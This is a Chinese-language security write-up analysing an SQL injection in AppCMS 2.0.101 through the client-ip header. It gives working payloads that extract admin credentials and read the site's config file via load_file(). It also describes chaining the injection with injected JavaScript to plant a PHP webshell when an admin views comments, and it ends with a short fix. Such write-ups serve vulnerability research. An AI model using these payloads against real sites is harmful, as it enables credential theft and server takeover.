目录
0x00 前言
0x01 漏洞分析--代码审计
0x02 漏洞利用
1.sql注入出后台账号、密码、安全码
2.二次漏洞利用:sql注入+csrf getshell
0x03 漏洞修复
-----从sql注入到csrf最后getshell----
0x00 前言
CNVD公布日期2017-08-15
http://www.cnvd.org.cn/flaw/show/CNVD-2017-13891
漏洞影响版本 appcms <=2.0.101
APPCMS官方站点:http://www.appcms.cc/
AppCMS 2.0.101版本
完整包下载地址:http://www.appcms.cc/download/appcms_2.0.101.zip
CNVD公布只介绍了comment.php文件存在sql注入,并没有公开详细的描述,下面笔者进行代码审计深入分析一下并对其进行漏洞利用介绍。
0x01 漏洞分析后的总结
漏洞发生在comment.php文件的第79行,$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。
$fields['ip']的值就是http头client-ip字段的值,我们可以通过burp抓包来控制。
下面是漏洞分析详细过程:
CNVD上说的在comment.php文件中有一个SQL注入漏洞,所以可以先关注comment.php文件中涉及SQL操作的代码
经过分析发现漏洞发生在comment.php文件的第79行,
$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。
分析helper :: getip()
getenv — 获取一个环境变量的值
string getenv ( string $varname )
使用 phpinfo() 你可以看到所有环境变量的列表。
参数
varname 变量名。
返回值:返回环境变量 varname 的值, 如果环境变量 varname 不存在则返回 FALSE。
getenv('HTTP_CLIENT_IP')也就是获取传递过去的CLIENT_IP的值,即在请求包中http头的client_ip字段对应的值,也就是这里导致了我们可以输入用户可控的数据。
int strcasecmp ( string $str1 , string $str2 ) 二进制安全比较字符串(不区分大小写)。
参数
str1 第一个字符串。
str2 第二个字符串。
返回值 如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown'))
{$onlineip = getenv('HTTP_CLIENT_IP');}
这里的意思就是当client_ip存在而且getenv('HTTP_CLIENT_IP')的返回值不为unknown时,就会直接把client_ip的值赋值给$onlineip 变量。
分析single_insert()--在upload/core/database.class.php第102行
substr — 返回字符串的子串
string substr ( string $string , int $start [, int $length ] )
返回字符串 string 由 start 和 length 参数指定的子字符串。
参数
string 输入字符串。必须至少有一个字符。
start 如果 start 是非负数,返回的字符串将从 string 的 start 位置开始,从 0 开始计算。例如,在字符串 “abcdef” 中,在位置 0 的字符是 “a”,位置 2 的字符串是 “c” 等等。
如果 start 是负数,返回的字符串将从 string 结尾处向前数第 start 个字符开始。
如果 string 的长度小于 start,将返回 FALSE。
foreach($fields as $key => $value) {
$sql_field .= ",$key";
$sql_value .= ",'$value'";
}
$sql_field = substr($sql_field, 1);
$sql_value = substr($sql_value, 1);
这里主要是需要把开头那个多余的逗号给截断掉,这样就能够正确的拼接进sql语句当中了。
分析到这里传进来的client_ip变量都没有出现被过滤的情况
分析query_insert()
这里直接就拼接执行了,对于client_ip变量从头到尾什么过滤都没做
总结一下:
漏洞发生在comment.php文件的第79行,$fields['ip']的值满足用户可控且数据未经过安全处理直接拼接传入SQL语句,造成了insert注入。
$fields['ip']的值就是http头client-ip字段的值,我们可以通过burp抓包来控制。
0x02漏洞利用
一、sql注入出后台账号、密码、安全码
发表评论的页面在
http://127.0.0.1/appcms_2.0.101/index.php?tpl=content_app&id=1
(这个找了好久啊啊!!真是哭死!)
这一个页面是动态生成的,我把这个页面的html源码复制下来到本地分析,发现除了user 验证码和comment外,还有三个隐含的参数也需要提交,id,type,parent_id(当然也可以先直接抓个包分析一下,这样更快捷!更准确!)
对比一下
可以看到,现在我们的sql语句也已经打印出来了。
经过测试知道,验证码错误的返回码code为140,而发表成功的code返回值为0
这里经过多次尝试在burp中不改变请求包中的验证码的值多次提交过去,能够得到code:0的回显的,也就是这里这个验证码验证是可以被绕过的!直接提交一次之后不变就可以了。(但前提是原来的页面不要去刷新它,不然验证码就失效了。直接使用burp的repeater来重放包)
可以看到,这里确实是被成功注入了的!
注意:这里注入的时候使用的是 client-ip而不是client_ip,不要混淆了php中获取时使用的getenv('HTTP_CLIENT_IP') 这里才是用下划线,而请求包中应该使用横杆-
(1)一些知识
原来的test1表中的内容
执行了
insert into test1(id,name,pwd) values(5,'mmm','mmmpwd'),(6,'jjj','jjjpwd');后
相当于同时执行了两条插入语句。
正是由于mysql中的这个特性导致了这里可以注入成功(可以允许使用逗号来分隔实现同时插入多条数据)
(2) 构造payload获取用户名密码
所以可以直接使用如下的语句将查询结果插入到content和uname,然后回显到前台的用户名和回复内容位置。
PAYLOAD:
client-ip:2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)
分析过程如下
insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','aaaaaaaaaaaaaaaaaa','jaivy','1511926381','127.0.0.1');
然后观察评论的回显
可以看到有几个地方是在插入了数据之后又回显出来的,
content,uname,date_add和ip
所以这里我们可以选择content和uname这两个地方作为数据的回显
insert into appcms_comment (id,type,parent_id,content,uname,date_add,ip) values ('1','0','0','charuliangtiao','jaivy','1511926381','2.2.2.2'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1511885595817',1)#)
这样的话我们就能够使用insert注入成功,把后台账号插进了uname字段,把后台密码插进了content字段,又由于appcms的后台会把uname和content里面的内容取出来回显,所以我们就能得到后台的账号密码了。
值得注意的是,我们上面的插入是在id=1这个页面,如果我们希望在id=2这个页面插入数据并看到回显的话,我们要做相应的修改,这里的appcms_comment
表有个id字段,我们要把对应的值改一下就可以了。
即sql语句改成如下这样
这里得到的密码是经过加密的,根据admin/index.php中的这条判断我们知道后台的密码是经过password_encrypt这个函数加密的
所以解密过程就是要进行三次md5解密
(3)构造payload获取安全码
此时就获得到站点的用户名和密码,接下来要获取安全码,这里使用mysql的load_file()来读取\core\config.php文件,安全码等敏感信息就在该文件里面。
可以使用去掉payload后面的#导致报错等方式得到网站的绝对路径,因为在\core\init.php中默认开启了错误提示,所以可以利用错误信息得到绝对路径。
得到了core文件夹的绝对路径,所以我们就能知道要读取的文件的绝对路径为
E:\phpStudy\WWW\appcms_2.0.101\core\config.php
注意使用loadfile读取文件的时候应该使用双重反斜杠(进行转义)
还有就是这里content列是使用varchar,长度是500,所以直接使用load_file()是无法获得安全码的,因此使用了substr进行了截断,截断范围大致是 从480开始 然后截断400个字符长度,此处没有精准计算,但是已经将安全码写到content列中了。
PAYLOAD:
client-ip:1.1.1.1'),('1','0','0',(substr(load_file('E:\\phpStudy\\WWW\\appcms_2.0.101\\core\\config.php'),480,400)),'jaivy','1511942803','11.11.11.11')#
可以看到安全码已经被注入出来了 这里是 123456
此时已经得到用户名,密文密码,安全码,但是APPCMS安装完毕后强制更改后台地址,所以就是拿到这3个敏感信息也难以登录后进行其他操作
在admin/index.php中有以下逻辑
二、二次漏洞利用:sql注入+csrf getshell
下面利用结合sql注入和csrf进行写马操作。
先构造好我们的恶意js,并存放在
http://127.0.0.1/xss/jaivy_test2.js 这个路径下
接着我们回到评论页面,发表评论,如图
接着我们模拟管理员登录后台并查看并审核用户发表的评论
模拟管理员访问页面http://127.0.0.1/appcms_2.0.101/houtai/comment.php
为了更好的理解这个过程,我们对这个过程进行抓包分析一下
管理员访问页面http://127.0.0.1/appcms_2.0.101/houtai/comment.php
点击一下forward,这时自动执行了我们的恶意js,创建一个muma.php文件
再点击一下forward,这时是、向muma.php文件中写入一句话木马
我们这个js脚本写入的木马的相对路径在
templates/default/muma.php
这里我们可以结合sql注入报错来组合得到完整的路径信息,在client-ip字段加一个单引号就可以报错了
所以最后拼接得到的木马的路径为
http://127.0.0.1/appcms_2.0.10/templates/default/muma.php
为了验证,我们这里查看一下这个路径下是否有个muma.php文件,并查看里面的内容。
确实是成功写入了,下面就直接使用菜刀连接就可以了。
0x03漏洞修复
因为这里的核心原因是没有对$fields['ip'] 这个变量做过滤,也没有检查它是否合法,所以这里简单的给出一个修复方案,在comment.php的79行后面添加两行代码,如图